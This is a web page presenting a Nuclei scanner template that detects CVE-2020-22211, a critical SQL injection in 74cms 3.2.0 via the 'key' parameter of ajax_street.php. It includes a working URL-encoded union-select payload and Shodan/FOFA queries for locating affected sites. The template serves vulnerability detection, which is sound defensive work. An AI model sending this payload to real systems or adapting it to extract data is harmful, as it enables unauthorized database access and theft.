74cms - ajax_street.php 'key' SQL Injection

ID: CVE-2020-22211

Severity: critical

Author: ritikchaddha

Tags: cve,cve2020,74cms,sqli

Description

SQL Injection in 74cms 3.2.0 via the key parameter to plus/ajax_street.php.

YAML Source

id: CVE-2020-22211

info:
  name: 74cms - ajax_street.php 'key' SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the key parameter to plus/ajax_street.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 'key' parameter of ajax_street.php in 74cms.
  reference:
    - https://github.com/blindkey/cve_like/issues/13
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22211
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22211
    cwe-id: CWE-89
    epss-score: 0.18558
    epss-percentile: 0.96216
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5({{num}}),9%23'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
# digest: 4a0a00473045022100af9e20f6c07f5c146adc148ea42e2d8afb71e8fb9309990f2cf4435734a6f62c0220413666a3aeca82f9f4c78bca0ccbfb01280b6743a547e559a9fdeb8337b19b59:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-22211.yaml"

View on Github